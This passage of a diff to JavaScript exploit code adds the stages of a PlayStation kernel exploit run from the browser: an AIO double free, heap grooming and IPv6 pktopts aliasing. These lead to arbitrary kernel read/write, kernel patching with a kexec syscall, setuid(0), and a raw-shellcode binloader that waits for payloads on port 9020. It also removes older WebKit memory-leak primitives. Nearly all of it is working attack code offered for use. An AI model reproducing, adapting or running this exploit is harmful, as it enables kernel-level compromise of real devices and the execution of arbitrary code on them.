free_aios2(leak_ids_p, leak_ids_len); + + return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf]; +} + +// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE + +function make_aliased_pktopts(sds) { + const tclass = new Word(); + for (let loop = 0; loop < num_alias; loop++) { + for (let i = 0; i < num_sds; i++) { + tclass[0] = i; + ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); + } + + for (let i = 0; i < sds.length; i++) { + gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); + const marker = tclass[0]; + if (marker !== i) { + log(`aliased pktopts at attempt: ${loop}`); + const pair = [sds[i], sds[marker]]; + log(`found pair: ${pair}`); + sds.splice(marker, 1); + sds.splice(i, 1); + // add pktopts to the new sockets now while new allocs can't + // use the double freed memory + for (let i = 0; i < 2; i++) { + const sd = new_socket(); + ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); + sds.push(sd); + } + + return pair; + } + } + + for (let i = 0; i < num_sds; i++) { + setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + } + } + die('failed to make aliased pktopts'); +} + +function double_free_reqs1( + reqs1_addr, kbuf_addr, target_id, evf, sd, sds, +) { + const max_leak_len = (0xff + 1) << 3; + const buf = new Buffer(max_leak_len); + + const num_elems = max_aio_ids; + const aio_reqs = make_reqs1(num_elems); + const aio_reqs_p = aio_reqs.addr; + + const num_batches = 2; + const aio_ids_len = num_batches * num_elems; + const aio_ids = new View4(aio_ids_len); + const aio_ids_p = aio_ids.addr; + + log('start overwrite rthdr with AIO queue entry loop'); + let aio_not_found = true; + free_evf(evf); + for (let i = 0; i < num_clobbers; i++) { + spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p); + + if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) { + log(`aliased at attempt: ${i}`); + aio_not_found = false; + cancel_aios(aio_ids_p, aio_ids_len); break; } - strs.length = 0; - gc(); - await sleep(); - str_wait++; + free_aios(aio_ids_p, aio_ids_len); } - log(`JSString reused memory at loop: ${str_wait}`); - - const idx = view.read32(off.strimpl_inline_str + marker_offset); - log(`str index: ${hex(idx)}`); - log('view:'); - log(view); - - // versions like 8.0x have a JSC::JSString that have their own m_length - // field. strings consult that field instead of the m_length of their - // StringImpl - // - // we work around this by passing the string to Error. - // ErrorInstance::create() will then create a new JSString initialized from - // the StringImpl of the message argument - const rstr = Error(strs[idx]).message; - log(`str len: ${hex(rstr.length)}`); - if (rstr.length === 0xffffffff) { - log('confirmed correct leaked'); - const addr = ( - view.read64(off.strimpl_m_data) - .sub(off.strimpl_inline_str) - ); - log(`view's buffer address: ${addr}`); - return new Reader(rstr, view); - } - die("JSString wasn't modified"); -} - -// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array -// of JSValues whose size is ssv_len. the undefined constant is automatically -// added due to reasons such as "undefined is returned by default if the -// function exits without returning anything" -const cons_len = ssv_len - 8*5; -const bt_offset = 0; -const idx_offset = ssv_len - 8*3; -const strs_offset = ssv_len - 8*2; -const src_part = (() => { - // we user var instead of let/const since such variables always get - // initialized to the NULL JSValue even if you immediately return. we will - // make functions that do as little as possible in order to speed up the - // exploit. m_constantRegisters will still contain the unused constants - // - // function foo() { - // return; - // let a = 1; - // } - // - // the resulting bytecode: - // bb#1 - // [ 0] enter - // [ 1] get_scope loc4 - // [ 3] mov loc5, loc4 - // [ 6] check_traps - // // this part still initializes a with the NULL JSValue - // [ 7] mov loc6, (const0) - // [ 10] ret Undefined(const1) - // Successors: [ ] - // - // bb#2 - // [ 12] mov loc6, Int32: 1(const2) - // [ 15] ret Undefined(const1) - // Successors: [ ] - // - // - // Constants: - // k0 = - // k1 = Undefined - // k2 = Int32: 1: in source as integer - let res = 'var f = 0x11223344;\n'; - // make unique constants that won't collide with the possible marker values - for (let i = 0; i < cons_len; i += 8) { - res += `var a${i} = ${num_leaks + i};\n`; - } - return res; -})(); - -async function leak_code_block(reader, bt_size) { - const rdr = reader; - const bt = []; - // take into account the cell and indexing header of the immutable - // butterfly - for (let i = 0; i < bt_size - 0x10; i += 8) { - bt.push(i); + if (aio_not_found) { + die('failed to overwrite rthdr'); } - // cache the global variable resolution - const slen = ssv_len; + const reqs2 = new Buffer(0x80); + const rsize = build_rthdr(reqs2, reqs2.size); + // .ar2_ticket + reqs2.write32(4, 5); + // .ar2_info + reqs2.write64(0x18, reqs1_addr); + // craft a aio_batch using the end portion of the buffer + const reqs3_off = 0x28; + // .ar2_batch + reqs2.write64(0x20, kbuf_addr.add(reqs3_off)); - const bt_part = `var bt = [${bt}];\nreturn bt;\n`; - const part = bt_part + src_part; - const cache = []; - for (let i = 0; i < num_leaks; i++) { - cache.push(part + `var idx = ${i};\nidx\`foo\`;`); + // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo + // safe since free_queue_entry() doesn't deref the pointer + reqs2.write32(reqs3_off, 1); + reqs2.write32(reqs3_off + 4, 0); + // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue + reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE); + reqs2[reqs3_off + 0xc] = 0; + // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding) + // safe since the entry already got dequeued + // + // .ar3_lock.lock_object.lo_flags = ( + // LO_SLEEPABLE | LO_UPGRADABLE + // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS + // | 6 << LO_CLASSSHIFT + // | LO_INITIALIZED + // ) + reqs2.write32(reqs3_off + 0x28, 0x67b0000); + // .ar3_lock.lk_lock = LK_UNLOCKED + reqs2.write64(reqs3_off + 0x38, 1); + + const states = new View4(num_elems); + const states_p = states.addr; + const addr_cache = [aio_ids_p]; + for (let i = 1; i < num_batches; i++) { + addr_cache.push(aio_ids_p.add((i * num_elems) << 2)); } - const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB; - const smallPageSize = 4 * KB; - const search_addr = align(rdr.m_data, chunkSize); - log(`search addr: ${search_addr}`); - - log(`func_src:\n${cache[0]}\nfunc_src end`); - log('start find CodeBlock'); - let winning_off = null; - let winning_idx = null; - let winning_f = null; - let find_cb_loop = 0; - // false positives - let fp = 0; - rdr.set_addr(search_addr); - loop: while (true) { - const funcs = []; - for (let i = 0; i < num_leaks; i++) { - const f = Function(cache[i]); - // the first call allocates the CodeBlock - f(); - funcs.push(f); + log('start overwrite AIO queue entry with rthdr loop'); + let req_id = null; + close(sd); + sd = null; + loop: for (let i = 0; i < num_alias; i++) { + for (const sd of sds) { + set_rthdr(sd, reqs2, rsize); } - for (let p = 0; p < chunkSize; p += smallPageSize) { - for (let i = p; i < p + smallPageSize; i += slen) { - if (rdr.read32_at(i + 8) !== 0x11223344) { - continue; - } + for (let batch = 0; batch < addr_cache.length; batch++) { + states.fill(-1); + aio_multi_cancel(addr_cache[batch], num_elems, states_p); - rdr.set_addr(rdr.read64_at(i + strs_offset)); - const m_type = rdr.read8_at(5); - // make sure we're not reading the constant registers of an - // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. - // CodeBlock converts those to JSArrays - if (m_type !== 0) { - rdr.set_addr(search_addr); - winning_off = i; - winning_idx = rdr.read32_at(i + idx_offset); - winning_f = funcs[winning_idx]; - break loop; + const req_idx = states.indexOf(AIO_STATE_COMPLETE); + if (req_idx !== -1) { + log(`req_idx: ${req_idx}`); + log(`found req_id at batch: ${batch}`); + log(`states: ${[...states].map(e => hex(e))}`); + log(`states[${req_idx}]: ${hex(states[req_idx])}`); + log(`aliased at attempt: ${i}`); + + const aio_idx = batch*num_elems + req_idx; + req_id = new Word(aio_ids[aio_idx]); + log(`req_id: ${hex(req_id)}`); + aio_ids[aio_idx] = 0; + + // set .ar3_done to 1 + poll_aio(req_id, states); + log(`states[${req_idx}]: ${hex(states[0])}`); + for (let i = 0; i < num_sds; i++) { + const sd2 = sds[i]; + get_rthdr(sd2, reqs2); + const done = reqs2[reqs3_off + 0xc]; + if (done) { + hexdump(reqs2); + sd = sd2; + sds.splice(i, 1); + free_rthdrs(sds); + sds.push(new_socket()); + break; + } } - rdr.set_addr(search_addr); - fp++; + if (sd === null) { + die("can't find sd that overwrote AIO queue entry"); + } + log(`sd: ${sd}`); + + break loop; + } + } + } + if (req_id === null) { + die('failed to overwrite AIO queue entry'); + } + free_aios2(aio_ids_p, aio_ids_len); + + // enable deletion of target_id + poll_aio(target_id, states); + log(`target's state: ${hex(states[0])}`); + + const sce_errs = new View4([-1, -1]); + const target_ids = new View4([req_id, target_id]); + // PANIC: double free on the 0x100 malloc zone. important kernel data may + // alias + aio_multi_delete(target_ids.addr, 2, sce_errs.addr); + + // we reclaim first since the sanity checking here is longer which makes it + // more likely that we have another process claim the memory + try { + // RESTORE: double freed memory has been reclaimed with harmless data + // PANIC: 0x100 malloc zone pointers aliased + const sd_pair = make_aliased_pktopts(sds); + return [sd_pair, sd]; + } finally { + log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); + + states[0] = -1; + states[1] = -1; + poll_aio(target_ids, states); + log(`target states: ${hex(states[0])}, ${hex(states[1])}`); + + const SCE_KERNEL_ERROR_ESRCH = 0x80020003; + let success = true; + if (states[0] !== SCE_KERNEL_ERROR_ESRCH) { + log('ERROR: bad delete of corrupt AIO request'); + success = false; + } + if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) { + log('ERROR: bad delete of ID pair'); + success = false; + } + + if (!success) { + die('ERROR: double free on a 0x100 malloc zone failed'); + } + } +} + +// FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE + +// k100_addr is double freed 0x100 malloc zone address +// dirty_sd is the socket whose rthdr pointer is corrupt +// kernel_addr is the address of the "evf cv" string +function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { + const psd = pktopts_sds[0]; + const tclass = new Word(); + const off_tclass = is_ps4 ? 0xb0 : 0xc0; + + const pktopts = new Buffer(0x100); + const rsize = build_rthdr(pktopts, pktopts.size); + const pktinfo_p = k100_addr.add(0x10); + // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo + pktopts.write64(0x10, pktinfo_p); + + log('overwrite main pktopts'); + let reclaim_sd = null; + close(pktopts_sds[1]); + for (let i = 0; i < num_alias; i++) { + for (let i = 0; i < num_sds; i++) { + // if a socket doesn't have a pktopts, setting the rthdr will make + // one. the new pktopts might reuse the memory instead of the + // rthdr. make sure the sockets already have a pktopts before + pktopts.write32(off_tclass, 0x4141 | i << 16); + set_rthdr(sds[i], pktopts, rsize); + } + + gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass); + const marker = tclass[0]; + if ((marker & 0xffff) === 0x4141) { + log(`found reclaim sd at attempt: ${i}`); + const idx = marker >>> 16; + reclaim_sd = sds[idx]; + sds.splice(idx, 1); + break; + } + } + if (reclaim_sd === null) { + die('failed to overwrite main pktopts'); + } + + const pktinfo = new Buffer(0x14); + pktinfo.write64(0, pktinfo_p); + const nhop = new Word(); + const nhop_p = nhop.addr; + const read_buf = new Buffer(8); + const read_buf_p = read_buf.addr; + function kread64(addr) { + const len = 8; + let offset = 0; + while (offset < len) { + // pktopts.ip6po_nhinfo = addr + offset + pktinfo.write64(8, addr.add(offset)); + nhop[0] = len - offset; + + ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + sysi( + 'getsockopt', + psd, IPPROTO_IPV6, IPV6_NEXTHOP, + read_buf_p.add(offset), nhop_p, + ); + + const n = nhop[0]; + if (n === 0) { + read_buf[offset] = 0; + offset += 1; + } else { + offset += n; + } + } + return read_buf.read64(0); + } + + log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`); + const kstr = jstr(read_buf); + log(`*(&"evf cv"): ${kstr}`); + if (kstr !== 'evf cv') { + die('test read of &"evf cv" failed'); + } + + // Only For PS4 9.00 + + const off_kstr = 0x7f6f27; + const kbase = kernel_addr.sub(off_kstr); + log(`kernel base: ${kbase}`); + + log('\nmaking arbitrary kernel read/write'); + const cpuid = 7 - main_core; + const off_cpuid_to_pcpu = 0x21ef2a0; + const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8); + log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`); + const pcpu = kread64(pcpu_p); + log(`pcpu: ${pcpu}`); + log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`); + // __pcpu[cpuid].pc_curthread + const td = kread64(pcpu); + log(`td: ${td}`); + + const off_td_proc = 8; + const proc = kread64(td.add(off_td_proc)); + log(`proc: ${proc}`); + const pid = sysi('getpid'); + log(`our pid: ${pid}`); + const pid2 = kread64(proc.add(0xb0)).lo; + log(`suspected proc pid: ${pid2}`); + if (pid2 !== pid) { + die('process not found'); + } + + const off_p_fd = 0x48; + const p_fd = kread64(proc.add(off_p_fd)); + log(`proc.p_fd: ${p_fd}`); + // curthread->td_proc->p_fd->fd_ofiles + const ofiles = kread64(p_fd); + log(`ofiles: ${ofiles}`); + + const off_p_ucred = 0x40; + const p_ucred = kread64(proc.add(off_p_ucred)); + log(`p_ucred ${p_ucred}`); + + const pipes = new View4(2); + sysi('pipe', pipes.addr); + const pipe_file = kread64(ofiles.add(pipes[0] * 8)); + log(`pipe file: ${pipe_file}`); + // ofiles[pipe_fd].f_data + const kpipe = kread64(pipe_file); + log(`pipe pointer: ${kpipe}`); + + const pipe_save = new Buffer(0x18); // sizeof struct pipebuf + for (let off = 0; off < pipe_save.size; off += 8) { + pipe_save.write64(off, kread64(kpipe.add(off))); + } + + const main_sd = psd; + const worker_sd = dirty_sd; + + const main_file = kread64(ofiles.add(main_sd * 8)); + log(`main sock file: ${main_file}`); + // ofiles[sd].f_data + const main_sock = kread64(main_file); + log(`main sock pointer: ${main_sock}`); + // socket.so_pcb (struct inpcb *) + const m_pcb = kread64(main_sock.add(0x18)); + log(`main sock pcb: ${m_pcb}`); + // inpcb.in6p_outputopts + const m_pktopts = kread64(m_pcb.add(0x118)); + log(`main pktopts: ${m_pktopts}`); + log(`0x100 malloc zone pointer: ${k100_addr}`); + + if (m_pktopts.ne(k100_addr)) { + die('main pktopts pointer != leaked pktopts pointer'); + } + + // ofiles[sd].f_data + const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8))); + log(`reclaim sock pointer: ${reclaim_sock}`); + // socket.so_pcb (struct inpcb *) + const r_pcb = kread64(reclaim_sock.add(0x18)); + log(`reclaim sock pcb: ${r_pcb}`); + // inpcb.in6p_outputopts + const r_pktopts = kread64(r_pcb.add(0x118)); + log(`reclaim pktopts: ${r_pktopts}`); + + // ofiles[sd].f_data + const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8))); + log(`worker sock pointer: ${worker_sock}`); + // socket.so_pcb (struct inpcb *) + const w_pcb = kread64(worker_sock.add(0x18)); + log(`worker sock pcb: ${w_pcb}`); + // inpcb.in6p_outputopts + const w_pktopts = kread64(w_pcb.add(0x118)); + log(`worker pktopts: ${w_pktopts}`); + + // get restricted read/write with pktopts pair + // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo + const w_pktinfo = w_pktopts.add(0x10); + pktinfo.write64(0, w_pktinfo); + pktinfo.write64(8, 0); // clear .ip6po_nexthop + ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + + pktinfo.write64(0, kernel_addr); + ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); + const kstr2 = jstr(pktinfo); + log(`*(&"evf cv"): ${kstr2}`); + if (kstr2 !== 'evf cv') { + die('pktopts read failed'); + } + log('achieved restricted kernel read/write'); + + // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when + // using pktopts write. we can safely modify a pipe even with this limit so + // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be + // clobbered with zeros but that's okay + class KernelMemory { + constructor(main_sd, worker_sd, pipes, pipe_addr) { + this.main_sd = main_sd; + this.worker_sd = worker_sd; + this.rpipe = pipes[0]; + this.wpipe = pipes[1]; + this.pipe_addr = pipe_addr; // &pipe.pipe_buf + this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer + this.rw_buf = new Buffer(0x14); + this.addr_buf = new Buffer(0x14); + this.data_buf = new Buffer(0x14); + this.data_buf.write32(0xc, 0x40000000); + } + + _verify_len(len) { + if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) { + throw TypeError('len not a 32-bit unsigned integer'); } } - find_cb_loop++; - gc(); - await sleep(); + copyin(src, dst, len) { + this._verify_len(len); + const main = this.main_sd; + const worker = this.worker_sd; + const addr_buf = this.addr_buf; + const data_buf = this.data_buf; + + addr_buf.write64(0, this.pipe_addr); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + data_buf.write64(0, 0); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); + + addr_buf.write64(0, this.pipe_addr2); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + addr_buf.write64(0, dst); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + sysi('write', this.wpipe, src, len); + } + + copyout(src, dst, len) { + this._verify_len(len); + const main = this.main_sd; + const worker = this.worker_sd; + const addr_buf = this.addr_buf; + const data_buf = this.data_buf; + + addr_buf.write64(0, this.pipe_addr); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + data_buf.write32(0, 0x40000000); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf); + + addr_buf.write64(0, this.pipe_addr2); + ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + addr_buf.write64(0, src); + ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf); + + sysi('read', this.rpipe, dst, len); + } + + _read(addr) { + const buf = this.rw_buf; + buf.write64(0, addr); + buf.fill(0, 8); + ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); + gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf); + } + + read32(addr) { + this._read(addr); + return this.rw_buf.read32(0); + } + + read64(addr) { + this._read(addr); + return this.rw_buf.read64(0); + } + + write32(addr, value) { + this.rw_buf.write32(0, value); + this.copyin(this.rw_buf.addr, addr, 4); + } + + write64(addr, value) { + this.rw_buf.write64(0, value); + this.copyin(this.rw_buf.addr, addr, 8); + } } - log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`); - log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`); + const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe); - log('CodeBlock.m_constantRegisters.m_buffer:'); - rdr.set_addr(search_addr.add(winning_off)); - for (let i = 0; i < slen; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); + const kstr3_buf = new Buffer(8); + kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size); + const kstr3 = jstr(kstr3_buf); + log(`*(&"evf cv"): ${kstr3}`); + if (kstr3 !== 'evf cv') { + die('pipe read failed'); } + log('achieved arbitrary kernel read/write'); - const bt_addr = rdr.read64_at(bt_offset); - const strs_addr = rdr.read64_at(strs_offset); - log(`immutable butterfly addr: ${bt_addr}`); - log(`string array passed to tag addr: ${strs_addr}`); + // RESTORE: clean corrupt pointer + // pktopts.ip6po_rthdr = NULL + //ABC Patch + const off_ip6po_rthdr = 0x68; + const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr); + const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr); + kmem.write64(r_rthdr_p, 0); + kmem.write64(w_rthdr_p, 0); + log('corrupt pointers cleaned'); - log('JSImmutableButterfly:'); - rdr.set_addr(bt_addr); - for (let i = 0; i < bt_size; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); - } - - log('string array:'); - rdr.set_addr(strs_addr); - for (let i = 0; i < off.size_jsobj; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); - } - - return [winning_f, bt_addr, strs_addr]; + /* + // REMOVE once restore kernel is ready for production + // increase the ref counts to prevent deallocation + kmem.write32(main_sock, kmem.read32(main_sock) + 1); + kmem.write32(worker_sock, kmem.read32(worker_sock) + 1); + // +2 since we have to take into account the fget_write()'s reference + kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);*/ + + return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]]; } -// data to write to the SerializedScriptValue -// -// setup to make deserialization create an ArrayBuffer with an arbitrary buffer -// address -function make_ssv_data(ssv_buf, view, view_p, addr, size) { - // sizeof JSC::ArrayBufferContents - const size_abc = (() => { - if (is_ps4) { - return version >= 0x900 ? 0x18 : 0x20; - } else { - return version >= 0x300 ? 0x18 : 0x20; +// FUNCTIONS FOR STAGE: PATCH KERNEL + +async function get_patches(url) { + const response = await fetch(url); + if (!response.ok) { + throw Error( + `Network response was not OK, status: ${response.status}\n` + + `failed to fetch: ${url}`); + } + return response.arrayBuffer(); +} + +// 9.00 supported only +async function patch_kernel(kbase, kmem, p_ucred, restore_info) { + if (!is_ps4) { + throw RangeError('PS5 kernel patching unsupported'); + } + if (!(0x800 <= version < 0x900)) { + throw RangeError('kernel patching unsupported'); + } + + log('change sys_aio_submit() to sys_kexec()'); + // sysent[661] is unimplemented so free for use + const offset_sysent_661 = 0x1107f00; + const sysent_661 = kbase.add(offset_sysent_661); + // .sy_narg = 6 + kmem.write32(sysent_661, 6); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + kmem.write64(sysent_661.add(8), kbase.add(0x4c7ad)); + // .sy_thrcnt = SY_THR_STATIC + kmem.write32(sysent_661.add(0x2c), 1); + + log('add JIT capabilities'); + // TODO just set the bits for JIT privs + // cr_sceCaps[0] + kmem.write64(p_ucred.add(0x60), -1); + // cr_sceCaps[1] + kmem.write64(p_ucred.add(0x68), -1); + + const buf = await get_patches('./kpatch/900.elf'); + // FIXME handle .bss segment properly + // assume start of loadable segments is at offset 0x1000 + const patches = new View1(await buf, 0x1000); + let map_size = patches.size; + const max_size = 0x10000000; + if (map_size > max_size) { + die(`patch file too large (>${max_size}): ${map_size}`); + } + if (map_size === 0) { + die('patch file size is zero'); + } + map_size = map_size+page_size & -page_size; + + const prot_rwx = 7; + const prot_rx = 5; + const prot_rw = 3; + const exec_p = new Int(0, 9); + const write_p = new Int(max_size, 9); + const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx); + const write_fd = sysi('jitshm_alias', exec_fd, prot_rw); + + const exec_addr = chain.sysp( + 'mmap', + exec_p, + map_size, + prot_rx, + MAP_SHARED|MAP_FIXED, + exec_fd, + 0, + ); + const write_addr = chain.sysp( + 'mmap', + write_p, + map_size, + prot_rw, + MAP_SHARED|MAP_FIXED, + write_fd, + 0, + ); + + log(`exec_addr: ${exec_addr}`); + log(`write_addr: ${write_addr}`); + if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) { + die('mmap() for jit failed'); + } + + log('mlock exec_addr for kernel exec'); + sysi('mlock', exec_addr, map_size); + + // mov eax, 0x1337; ret (0xc300_0013_37b8) + const test_code = new Int(0x001337b8, 0xc300); + write_addr.write64(0, test_code); + + log('test jit exec'); + sys_void('kexec', exec_addr); + let retval = chain.errno; + log('returned successfully'); + + log(`jit retval: ${retval}`); + if (retval !== 0x1337) { + die('test jit exec failed'); + } + + const pipe_save = restore_info[1]; + restore_info[1] = pipe_save.addr; + log('mlock pipe save data for kernel restore'); + sysi('mlock', restore_info[1], page_size); + + mem.cpy(write_addr, patches.addr, patches.size); + sys_void('kexec', exec_addr, ...restore_info); + + log('setuid(0)'); + sysi('setuid', 0); + log('kernel exploit succeeded!'); + localStorage.ExploitLoaded="yes" + sessionStorage.ExploitLoaded="yes" + //alert("kernel exploit succeeded!"); +} + + + +// FUNCTIONS FOR STAGE: SETUP + +function setup(block_fd) { + // this part will block the worker threads from processing entries so that + // we may cancel them instead. this is to work around the fact that + // aio_worker_entry2() will fdrop() the file associated with the aio_entry + // on ps5. we want aio_multi_delete() to call fdrop() + log('block AIO'); + const reqs1 = new Buffer(0x28 * num_workers); + const block_id = new Word(); + + for (let i = 0; i < num_workers; i++) { + reqs1.write32(8 + i*0x28, 1); + reqs1.write32(0x20 + i*0x28, block_fd); + } + aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr); + + { + const reqs1 = make_reqs1(1); + const timo = new Word(1); + const id = new Word(); + aio_submit_cmd(AIO_CMD_READ, reqs1.addr, 1, id.addr); + chain.do_syscall_clear_errno( + 'aio_multi_wait', id.addr, 1, _aio_errors_p, 1, timo.addr); + const err = chain.errno; + if (err !== 60) { // ETIMEDOUT + die(`SceAIO system not blocked. errno: ${err}`); } + free_aios(id.addr, 1); + } + + log('heap grooming'); + // chosen to maximize the number of 0x80 malloc allocs per submission + const num_reqs = 3; + const groom_ids = new View4(num_grooms); + const groom_ids_p = groom_ids.addr; + const greqs = make_reqs1(num_reqs); + // allocate enough so that we start allocating from a newly created slab + spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); + cancel_aios(groom_ids_p, num_grooms); + return [block_id, groom_ids]; +} + +function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = backing; + return ptr; + } + + function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + nogc.push(backing); + var ptr = mem.readp(mem.addrof(backing).add(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; + } + +function runBinLoader() { + var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0); + var payload_loader = malloc32(0x1000); + var BLDR = payload_loader.backing; + BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC; + BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302; + BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF; + BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8; + BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474; + BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400; + BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000; + BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000; + BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300; + BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C; + BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500; + BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400; + BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348; + BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0; + BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F; + BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA; + BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89; + BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949; + BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900; + BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000; + BLDR[60] = 0xC3050FCA; + + chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4)); + + var pthread = malloc(0x10); + sysi('mlock', payload_buffer, 0x300000); + + call_nze( + 'pthread_create', + pthread, + 0, + payload_loader, + payload_buffer + ); + + log('GoldHEN Already Loaded, BinLoader Is Ready. Send A Payload To Port 9020 Now'); +} + +// overview: +// * double free a aio_entry (resides at a 0x80 malloc zone) +// * type confuse a evf and a ip6_rthdr +// * use evf/rthdr to read out the contents of the 0x80 malloc zone +// * leak a address in the 0x100 malloc zone +// * write the leaked address to a aio_entry +// * double free the leaked address +// * corrupt a ip6_pktopts for restricted r/w +// * corrupt a pipe for arbitrary r/w +// +// the exploit implementation also assumes that we are pinned to one core +export async function kexploit() { + const _init_t1 = performance.now(); + await init(); + const _init_t2 = performance.now(); + + try { + chain.sys('setuid', 0); + } catch (e) { + localStorage.ExploitLoaded = "no"; + } + + if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") { + runBinLoader(); + return new Promise(() => {}); + } + + // fun fact: + // if the first thing you do since boot is run the web browser, WebKit can + // use all the cores + const main_mask = new Long(); + get_our_affinity(main_mask); + log(`main_mask: ${main_mask}`); + + // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap + // spraying and grooming easier + log(`pinning process to core #${main_core}`); + set_our_affinity(new Long(1 << main_core)); + get_our_affinity(main_mask); + log(`main_mask: ${main_mask}`); + + log("setting main thread's priority"); + sysi('rtprio_thread', RTP_SET, 0, rtprio.addr); + + const [block_fd, unblock_fd] = (() => { + const unix_pair = new View4(2); + sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr); + return unix_pair; })(); - const data_len = 9; - // sizeof WTF::Vector - const size_vector = 0x10; + const sds = []; + for (let i = 0; i < 